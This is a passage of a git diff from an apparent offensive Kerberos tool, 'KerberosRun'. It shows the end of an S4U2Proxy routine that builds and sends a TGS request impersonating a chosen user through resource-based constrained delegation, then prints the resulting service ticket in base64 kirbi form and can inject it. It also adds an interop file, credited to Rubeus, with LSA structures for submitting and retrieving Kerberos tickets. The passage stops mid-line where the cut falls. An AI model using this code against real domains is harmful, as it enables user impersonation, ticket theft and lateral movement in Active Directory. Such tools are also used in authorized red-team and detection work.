KrbEncryptedData.Encrypt( + authenticator.EncodeApplication(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqAuthenticator + ); + + var apReq = new KrbApReq + { + Ticket = tgt, + ApOptions = apOptions, + Authenticator = encryptedAuthenticator + }; + + + var pacOptions = new KrbPaPacOptions + { + Flags = PacOptions.ResourceBasedConstrainedDelegation + }.Encode(); + + var paData = new List() + { + new KrbPaData + { + Type = PaDataType.PA_TGS_REQ, + Value = apReq.EncodeApplication() + }, + new KrbPaData + { + Type = PaDataType.PA_PAC_OPTIONS, + Value = pacOptions + } + }; + + + + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + var paS4u = new KrbPaForUser + { + AuthPackage = "Kerberos", + UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, + UserRealm = tgt.Realm + }; + paS4u.GenerateChecksum(subSessionKey.AsKey()); + + paData.Add(new KrbPaData + { + Type = PaDataType.PA_FOR_USER, + Value = paS4u.Encode() + }); + } + + var tgs = new KrbTgsReq + { + PaData = paData.ToArray(), + Body = body + }; + + + + ReadOnlyMemory encodedTgs = tgs.EncodeApplication(); + + + Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ..."); + if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } + + + + CancellationToken cancellation = default; + cancellation.ThrowIfCancellationRequested(); + + + + KrbTgsRep tgsRep = null; + try + { + tgsRep = await transport.SendMessage( + rst.Realm, + encodedTgs, + cancellation + ); + } + catch (KerberosProtocolException pex) + { + Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); + Environment.Exit(0); + } + + + Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ..."); + + try + { + KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt( + subSessionKey.AsKey(), + KeyUsage.EncTgsRepPartSubSessionKey, + (ReadOnlyMemory t) => KrbEncTgsRepPart.DecodeApplication(t)); + + if (verbose) + { + PrintFunc.PrintRep(tgsRep, credKey); + + Console.WriteLine(" * [Decrypted Enc-Part]:"); + PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); + } + + if (outKirbi) + { + var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); + + Console.WriteLine("[+] TGS Kirbi:"); + Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); + } + }catch(Exception e) + { + Console.WriteLine("[x] {0}", e.Message); + } + + + + } + } +} diff --git a/KerberosRun/KerberosRun/Utils/Interop.cs b/KerberosRun/KerberosRun/Utils/Interop.cs new file mode 100644 index 0000000..824e9ac --- /dev/null +++ b/KerberosRun/KerberosRun/Utils/Interop.cs @@ -0,0 +1,1318 @@ +//Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop.cs by harmj0y + +using System; +using System.Runtime.InteropServices; + +namespace KerberosRun +{ + class Interop + { + public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1; + public const int KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3; + public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7; + public const int KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8; + public const int KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11; + public const int KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + public const int KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14; + + // Enums + + [Flags] + public enum TicketFlags : UInt32 + { + reserved = 2147483648, + forwardable = 0x40000000, + forwarded = 0x20000000, + proxiable = 0x10000000, + proxy = 0x08000000, + may_postdate = 0x04000000, + postdated = 0x02000000, + invalid = 0x01000000, + renewable = 0x00800000, + initial = 0x00400000, + pre_authent = 0x00200000, + hw_authent = 0x00100000, + ok_as_delegate = 0x00040000, + name_canonicalize = 0x00010000, + //cname_in_pa_data = 0x00040000, + enc_pa_rep = 0x00010000, + reserved1 = 0x00000001 + // TODO: constrained delegation? + } + + // TODO: order flipped? https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L167-L190 + [Flags] + public enum KdcOptions : uint + { + VALIDATE = 0x00000001, + RENEW = 0x00000002, + UNUSED29 = 0x00000004, + ENCTKTINSKEY = 0x00000008, + RENEWABLEOK = 0x00000010, + DISABLETRANSITEDCHECK = 0x00000020, + UNUSED16 = 0x0000FFC0, + CANONICALIZE = 0x00010000, + CNAMEINADDLTKT = 0x00020000, + OK_AS_DELEGATE = 0x00040000, + UNUSED12 = 0x00080000, + OPTHARDWAREAUTH = 0x00100000, + PREAUTHENT = 0x00200000, + INITIAL = 0x00400000, + RENEWABLE = 0x00800000, + UNUSED7 = 0x01000000, + POSTDATED = 0x02000000, + ALLOWPOSTDATE = 0x04000000, + PROXY = 0x08000000, + PROXIABLE = 0x10000000, + FORWARDED = 0x20000000, + FORWARDABLE = 0x40000000, + RESERVED = 0x80000000 + } + + // from https://tools.ietf.org/html/rfc3961 + public enum KERB_ETYPE : UInt32 + { + des_cbc_crc = 1, + des_cbc_md4 = 2, + des_cbc_md5 = 3, + des3_cbc_md5 = 5, + des3_cbc_sha1 = 7, + dsaWithSHA1_CmsOID = 9, + md5WithRSAEncryption_CmsOID = 10, + sha1WithRSAEncryption_CmsOID = 11, + rc2CBC_EnvOID = 12, + rsaEncryption_EnvOID = 13, + rsaES_OAEP_ENV_OID = 14, + des_ede3_cbc_Env_OID = 15, + des3_cbc_sha1_kd = 16, + aes128_cts_hmac_sha1 = 17, + aes256_cts_hmac_sha1 = 18, + rc4_hmac = 23, + rc4_hmac_exp = 24, + subkey_keymaterial = 65 + } + + [Flags] + public enum SUPPORTED_ETYPE : Int32 + { + RC4_HMAC_DEFAULT = 0x0, + DES_CBC_CRC = 0x1, + DES_CBC_MD5 = 0x2, + RC4_HMAC = 0x4, + AES128_CTS_HMAC_SHA1_96 = 0x08, + AES256_CTS_HMAC_SHA1_96 = 0x10 + } + + public enum KADMIN_PASSWD_ERR : UInt32 + { + KRB5_KPASSWD_SUCCESS = 0, + KRB5_KPASSWD_MALFORMED = 1, + KRB5_KPASSWD_HARDERROR = 2, + KRB5_KPASSWD_AUTHERROR = 3, + KRB5_KPASSWD_SOFTERROR = 4, + KRB5_KPASSWD_ACCESSDENIED = 5, + KRB5_KPASSWD_BAD_VERSION = 6, + KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7 + } + + public enum KERB_CHECKSUM_ALGORITHM + { + KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15, + KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16, + KERB_CHECKSUM_DES_MAC = -133, + KERB_CHECKSUM_HMAC_MD5 = -138, + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CHECKSUM + { + public int Type; + public int Size; + public int Flag; + public IntPtr Initialize; + public IntPtr Sum; + public IntPtr Finalize; + public IntPtr Finish; + public IntPtr InitializeEx; + public IntPtr unk0_null; + } + + // from https://github.com/ps4dev/freebsd-include-mirror/blob/master/krb5_asn1.h + public enum PADATA_TYPE : UInt32 + { + NONE = 0, + TGS_REQ = 1, + AP_REQ = 1, + ENC_TIMESTAMP = 2, + PW_SALT = 3, + ENC_UNIX_TIME = 5, + SANDIA_SECUREID = 6, + SESAME = 7, + OSF_DCE = 8, + CYBERSAFE_SECUREID = 9, + AFS3_SALT = 10, + ETYPE_INFO = 11, + SAM_CHALLENGE = 12, + SAM_RESPONSE = 13, + PK_AS_REQ_19 = 14, + PK_AS_REP_19 = 15, + PK_AS_REQ_WIN = 15, + PK_AS_REQ = 16, + PK_AS_REP = 17, + PA_PK_OCSP_RESPONSE = 18, + ETYPE_INFO2 = 19, + USE_SPECIFIED_KVNO = 20, + SVR_REFERRAL_INFO = 20, + SAM_REDIRECT = 21, + GET_FROM_TYPED_DATA = 22, + SAM_ETYPE_INFO = 23, + SERVER_REFERRAL = 25, + TD_KRB_PRINCIPAL = 102, + PK_TD_TRUSTED_CERTIFIERS = 104, + PK_TD_CERTIFICATE_INDEX = 105, + TD_APP_DEFINED_ERROR = 106, + TD_REQ_NONCE = 107, + TD_REQ_SEQ = 108, + PA_PAC_REQUEST = 128, + S4U2SELF = 129, + PA_PAC_OPTIONS = 167, + PK_AS_09_BINDING = 132, + CLIENT_CANONICALIZED = 133 + } + + // adapted from https://github.com/skelsec/minikerberos/blob/master/minikerberos/kerberoserror.py#L18-L76 + public enum KERBEROS_ERROR : UInt32 + { + KDC_ERR_NONE = 0x0, //No error + KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired + KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired + KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported + KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key + KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key + KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database + KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database + KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database + KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key) + KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating + KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time + KDC_ERR_POLICY = 0xC, //Requested start time is later than end time + KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option + KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type + KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type + KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data) + KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type + KDC_ERR_CLIENT_REVOKED = 0x12, // Client’s credentials have been revoked + KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked + KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked + KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later + KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later + KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset + KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid + KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required + KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server + KDC_ERR_SVC_UNAVAILABLE = 0x1B, // KDC is unavailable + KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed + KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired + KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid + KRB_AP_ERR_REPEAT = 0x22, // The request is a replay + KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us + KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match + KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great + KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket + KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO) + KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported + KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match + KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering) + KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available + KRB_AP_ERR_NOKEY = 0x2D, // Service key not available + KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed + KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction + KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required + KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message + KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported) + KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable + KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data + KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field + KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation + KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented + KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified + KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid + KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed + KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required + KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available + KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal + } + + [Flags] + public enum DSGETDCNAME_FLAGS : uint + { + DS_FORCE_REDISCOVERY = 0x00000001, + DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010, + DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020, + DS_GC_SERVER_REQUIRED = 0x00000040, + DS_PDC_REQUIRED = 0x00000080, + DS_BACKGROUND_ONLY = 0x00000100, + DS_IP_REQUIRED = 0x00000200, + DS_KDC_REQUIRED = 0x00000400, + DS_TIMESERV_REQUIRED = 0x00000800, + DS_WRITABLE_REQUIRED = 0x00001000, + DS_GOOD_TIMESERV_PREFERRED = 0x00002000, + DS_AVOID_SELF = 0x00004000, + DS_ONLY_LDAP_NEEDED = 0x00008000, + DS_IS_FLAT_NAME = 0x00010000, + DS_IS_DNS_NAME = 0x00020000, + DS_RETURN_DNS_NAME = 0x40000000, + DS_RETURN_FLAT_NAME = 0x80000000 + } + + public enum TOKEN_INFORMATION_CLASS + { + /// + /// The buffer receives a TOKEN_USER structure that contains the user account of the token. + /// + TokenUser = 1, + + /// + /// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token. + /// + TokenGroups, + + /// + /// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token. + /// + TokenPrivileges, + + /// + /// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects. + /// + TokenOwner, + + /// + /// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects. + /// + TokenPrimaryGroup, + + /// + /// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects. + /// + TokenDefaultDacl, + + /// + /// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information. + /// + TokenSource, + + /// + /// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token. + /// + TokenType, + + /// + /// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails. + /// + TokenImpersonationLevel, + + /// + /// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics. + /// + TokenStatistics, + + /// + /// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token. + /// + TokenRestrictedSids, + + /// + /// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token. + /// + TokenSessionId, + + /// + /// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token. + /// + TokenGroupsAndPrivileges, + + /// + /// Reserved. + /// + TokenSessionReference, + + /// + /// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag. + /// + TokenSandBoxInert, + + /// + /// Reserved. + /// + TokenAuditPolicy, + + /// + /// The buffer receives a TOKEN_ORIGIN value. + /// + TokenOrigin, + + /// + /// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token. + /// + TokenElevationType, + + /// + /// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token. + /// + TokenLinkedToken, + + /// + /// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated. + /// + TokenElevation, + + /// + /// The buffer receives a DWORD value that is nonzero if the token has ever been filtered. + /// + TokenHasRestrictions, + + /// + /// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token. + /// + TokenAccessInformation, + + /// + /// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token. + /// + TokenVirtualizationAllowed, + + /// + /// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token. + /// + TokenVirtualizationEnabled, + + /// + /// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level. + /// + TokenIntegrityLevel, + + /// + /// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set. + /// + TokenUIAccess, + + /// + /// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy. + /// + TokenMandatoryPolicy, + + /// + /// The buffer receives the token's logon security identifier (SID). + /// + TokenLogonSid, + + /// + /// The maximum value for this enumeration + /// + MaxTokenInfoClass + } + + [Flags] + public enum KERB_CACHE_OPTIONS : UInt64 + { + KERB_RETRIEVE_TICKET_DEFAULT = 0x0, + KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1, + KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2, + KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4, + KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8, + KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10, + KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20, + KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40, + } + + public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32 + { + KerbDebugRequestMessage = 0, + KerbQueryTicketCacheMessage = 1, + KerbChangeMachinePasswordMessage = 2, + KerbVerifyPacMessage = 3, + KerbRetrieveTicketMessage = 4, + KerbUpdateAddressesMessage = 5, + KerbPurgeTicketCacheMessage = 6, + KerbChangePasswordMessage = 7, + KerbRetrieveEncodedTicketMessage = 8, + KerbDecryptDataMessage = 9, + KerbAddBindingCacheEntryMessage = 10, + KerbSetPasswordMessage = 11, + KerbSetPasswordExMessage = 12, + KerbVerifyCredentialsMessage = 13, + KerbQueryTicketCacheExMessage = 14, + KerbPurgeTicketCacheExMessage = 15, + KerbRefreshSmartcardCredentialsMessage = 16, + KerbAddExtraCredentialsMessage = 17, + KerbQuerySupplementalCredentialsMessage = 18, + KerbTransferCredentialsMessage = 19, + KerbQueryTicketCacheEx2Message = 20, + KerbSubmitTicketMessage = 21, + KerbAddExtraCredentialsExMessage = 22, + KerbQueryKdcProxyCacheMessage = 23, + KerbPurgeKdcProxyCacheMessage = 24, + KerbQueryTicketCacheEx3Message = 25, + KerbCleanupMachinePkinitCredsMessage = 26, + KerbAddBindingCacheEntryExMessage = 27, + KerbQueryBindingCacheMessage = 28, + KerbPurgeBindingCacheMessage = 29, + KerbQueryDomainExtendedPoliciesMessage = 30, + KerbQueryS4U2ProxyCacheMessage = 31 + } + + public enum LogonType : uint + { + Interactive = 2, // logging on interactively. + Network, // logging using a network. + Batch, // logon for a batch process. + Service, // logon for a service account. + Proxy, // Not supported. + Unlock, // Tattempt to unlock a workstation. + NetworkCleartext, // network logon with cleartext credentials + NewCredentials, // caller can clone its current token and specify new credentials for outbound connections + RemoteInteractive, // terminal server session that is both remote and interactive + CachedInteractive, // attempt to use the cached credentials without going out across the network + CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes + CachedUnlock // attempt to unlock a workstation + } + + public enum LOGON_PROVIDER + { + LOGON32_PROVIDER_DEFAULT, + LOGON32_PROVIDER_WINNT35, + LOGON32_PROVIDER_WINNT40, + LOGON32_PROVIDER_WINNT50 + } + + // from https://github.com/alexbrainman/sspi/blob/master/syscall.go#L113-L129 + [Flags] + public enum ISC_REQ : int + { + DELEGATE = 1, + MUTUAL_AUTH = 2, + REPLAY_DETECT = 4, + SEQUENCE_DETECT = 8, + CONFIDENTIALITY = 16, + USE_SESSION_KEY = 32, + PROMPT_FOR_CREDS = 64, + USE_SUPPLIED_CREDS = 128, + ALLOCATE_MEMORY = 256, + USE_DCE_STYLE = 512, + DATAGRAM = 1024, + CONNECTION = 2048, + EXTENDED_ERROR = 16384, + STREAM = 32768, + INTEGRITY = 65536, + MANUAL_CRED_VALIDATION = 524288, + HTTP = 268435456 + } + + public enum SecBufferType + { + SECBUFFER_VERSION = 0, + SECBUFFER_EMPTY = 0, + SECBUFFER_DATA = 1, + SECBUFFER_TOKEN = 2 + } + + + // structs + + // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 + [StructLayout(LayoutKind.Sequential)] + public struct KERB_ECRYPT + { + int Type0; + public int BlockSize; + int Type1; + public int KeySize; + public int Size; + int unk2; + int unk3; + public IntPtr AlgName; + public IntPtr Initialize; + public IntPtr Encrypt; + public IntPtr Decrypt; + public IntPtr Finish; + public IntPtr HashPassword; + IntPtr RandomKey; + IntPtr Control; + IntPtr unk0_null; + IntPtr unk1_null; + IntPtr unk2_null; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DOMAIN_CONTROLLER_INFO + { + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainControllerName; + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainControllerAddress; + public uint DomainControllerAddressType; + public Guid DomainGuid; + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainName; + [MarshalAs(UnmanagedType.LPTStr)] + public string DnsForestName; + public uint Flags; + [MarshalAs(UnmanagedType.LPTStr)] + public string DcSiteName; + [MarshalAs(UnmanagedType.LPTStr)] + public string ClientSiteName; + } + + + // LSA structures + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_SUBMIT_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public int Flags; + public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED + public int KerbCredSize; + public int KerbCredOffset; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_PURGE_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + LSA_STRING_IN ServerName; + LSA_STRING_IN RealmName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CRYPTO_KEY32 + { + public int KeyType; + public int Length; + public int Offset; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_IN + { + public UInt16 Length; + public UInt16 MaximumLength; + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_OUT + { + public UInt16 Length; + public UInt16 MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING + { + public UInt16 Length; + public UInt16 MaximumLength; + public String Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_RETRIEVE_TKT_RESPONSE + { + public KERB_EXTERNAL_TICKET Ticket; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_EXTERNAL_TICKET + { + public IntPtr ServiceName; + public IntPtr TargetName; + public IntPtr ClientName; + public LSA_STRING_OUT DomainName; + public LSA_STRING_OUT TargetDomainName; + public LSA_STRING_OUT AltTargetDomainName; + public KERB_CRYPTO_KEY SessionKey; + public UInt32 TicketFlags; + public UInt32 Flags; + public Int64 KeyExpirationTime; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewUntil; + public Int64 TimeSkew; + public Int32 EncodedTicketSize; + public IntPtr EncodedTicket; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CRYPTO_KEY + { + public Int32 KeyType; + public Int32 Length; + public IntPtr Value; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_RETRIEVE_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public UNICODE_STRING TargetName; + public UInt32 TicketFlags; + public UInt32 CacheOptions; + public Int32 EncryptionType; + public SECURITY_HANDLE CredentialsHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_QUERY_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_QUERY_TKT_CACHE_RESPONSE + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public int CountOfTickets; + public IntPtr Tickets; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO + { + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT RealmName; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX2 + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + + public UInt32 SessionKeyType; + public UInt32 BranchId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX3 + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + + public UInt32 SessionKeyType; + public UInt32 BranchId; + + public UInt32 CacheFlags; + public LSA_STRING_OUT KdcCalled; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_EXTERNAL_NAME + { + public Int16 NameType; + public UInt16 NameCount; + + [MarshalAs(UnmanagedType.ByValArray, + SizeConst = 3)] + public LSA_STRING_OUT[] Names; + //public LSA_STRING_OUT[] Names; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_LOGON_SESSION_DATA + { + public UInt32 Size; + public LUID LoginID; + public LSA_STRING_OUT Username; + public LSA_STRING_OUT LoginDomain; + public LSA_STRING_OUT AuthenticationPackage; + public UInt32 LogonType; + public UInt32 Session; + public IntPtr PSiD; + public UInt64 LoginTime; + public LSA_STRING_OUT LogonServer; + public LSA_STRING_OUT DnsDomainName; + public LSA_STRING_OUT Upn; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct TOKEN_STATISTICS + { + public LUID TokenId; + public LUID AuthenticationId; + public long ExpirationTime; + public uint TokenType; + public uint ImpersonationLevel; + public uint DynamicCharged; + public uint DynamicAvailable; + public uint GroupCount; + public uint PrivilegeCount; + public LUID ModifiedId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TOKEN_ORIGIN + { + public LUID OriginatingLogonSession; + } + + // the following are adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [StructLayout(LayoutKind.Sequential)] + public struct SecHandle //=PCtxtHandle + { + IntPtr dwLower; // ULONG_PTR translates to IntPtr not to uint + IntPtr dwUpper; // this is crucial for 64-Bit Platforms + } + + [StructLayout(LayoutKind.Sequential)] + public struct SecBuffer : IDisposable + { + public int cbBuffer; + public int BufferType; + public IntPtr pvBuffer; + + + public SecBuffer(int bufferSize) + { + cbBuffer = bufferSize; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(bufferSize); + } + + public SecBuffer(byte[] secBufferBytes) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)bufferType; + pvBuffer = 